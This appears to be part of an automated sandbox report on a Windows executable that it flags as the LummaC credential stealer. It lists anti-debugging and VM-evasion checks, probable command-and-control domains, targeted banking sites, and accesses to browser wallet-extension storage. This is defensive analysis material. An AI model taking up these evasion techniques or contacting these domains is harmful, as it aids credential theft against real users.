Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE127 second address: 64DE131 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE1F8 second address: 64DE1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE1FC second address: 64DE23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 436F6370h 0x0000000e pushad 0x0000000f mov ebx, dword ptr [ebp+122D1CDDh] 0x00000015 pushad 0x00000016 mov si, 121Ah 0x0000001a call 00007F84ECDED163h 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 lea ebx, dword ptr [ebp+12453C52h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007F84ECDED15Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64DE23D second address: 64DE241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FEE04 second address: 64FEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED15Ch 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64CAF14 second address: 64CAF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64CAF1A second address: 64CAF41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c js 00007F84ECDED156h 0x00000012 pop ebx 0x00000013 ja 00007F84ECDED164h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007F84ECDED15Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64CAF41 second address: 64CAF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FCF0C second address: 64FCF37 instructions: 0x00000000 rdtsc 0x00000002 je 00007F84ECDED16Fh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F84ECDED167h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F84ECDED156h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FD69F second address: 64FD6B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F84ECC38F9Ah 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FD6B5 second address: 64FD6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FD6B9 second address: 64FD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FD6C5 second address: 64FD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED163h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDE1F second address: 64FDE25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDF6D second address: 64FDF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F84ECDED156h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F84ECDED156h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDF86 second address: 64FDFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F84ECC38FA7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDFA5 second address: 64FDFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F84ECDED156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDFAF second address: 64FDFD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F84ECC38F96h 0x00000008 jmp 00007F84ECC38FA7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F84ECC38F96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FDFD8 second address: 64FDFE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F84ECDED156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FE71F second address: 64FE723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FE723 second address: 64FE72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FE72C second address: 64FE731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 6500FE8 second address: 650101E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007F84ECDED156h 0x0000000f jmp 00007F84ECDED15Dh 0x00000014 popad 0x00000015 jnl 00007F84ECDED15Ch 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FFAD9 second address: 64FFADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FFADF second address: 64FFB08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F84ECDED167h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64FFB08 second address: 64FFB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 650018C second address: 6500190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 650125B second address: 650125F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 650125F second address: 6501271 instructions: 0x00000000 rdtsc 0x00000002 js 00007F84ECDED156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F84ECDED15Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 6502418 second address: 650243D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F84ECC38FA6h 0x0000000d popad 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 6509ED2 second address: 6509EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F84ECDED15Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64C92BE second address: 64C92CE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F84ECC38F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64C92CE second address: 64C92D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64C92D4 second address: 64C92D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 64C92D8 second address: 64C92E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 65093EA second address: 65093F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 65093F0 second address: 65093FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 65093FA second address: 6509400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	RDTSC instruction interceptor: First address: 6509400 second address: 6509404 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: DC8CDB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: DC8D78 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: F6EC48 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: F96FB3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: 10037A6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: 635DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: 64FFC9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: 6594556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Special instruction interceptor: First address: 6361E4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe TID: 2684	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe TID: 2548	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe TID: 2172	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe TID: 1100	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe TID: 5256	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: CAo57G5Cio.exe	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: CAo57G5Cio.exe, 00000000.00000002.1714823927.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000002.1714823927.0000000001298000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: CAo57G5Cio.exe, 00000000.00000003.1378137506.0000000005A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: CAo57G5Cio.exe	Binary or memory string: u\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: CAo57G5Cio.exe, 00000000.00000002.1714823927.0000000001324000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: CAo57G5Cio.exe, 00000000.00000002.1719111420.00000000064E3000.00000040.00000800.00020000.00000000.sdmp, CAo57G5Cio.exe, 00000000.00000002.1712893607.0000000000F50000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: CAo57G5Cio.exe, 00000000.00000003.1379089952.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: NTICE
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: SICE
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: CAo57G5Cio.exe, 00000000.00000003.1302587225.0000000004E70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: CAo57G5Cio.exe, 00000000.00000002.1719111420.00000000064E3000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: GTProgram Manager
Source: CAo57G5Cio.exe, 00000000.00000002.1713090909.0000000000F95000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: qProgram Manager

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: CAo57G5Cio.exe, CAo57G5Cio.exe, 00000000.00000003.1471946690.00000000059F1000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: ndows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\CAo57G5Cio.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: CAo57G5Cio.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\CAo57G5Cio.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
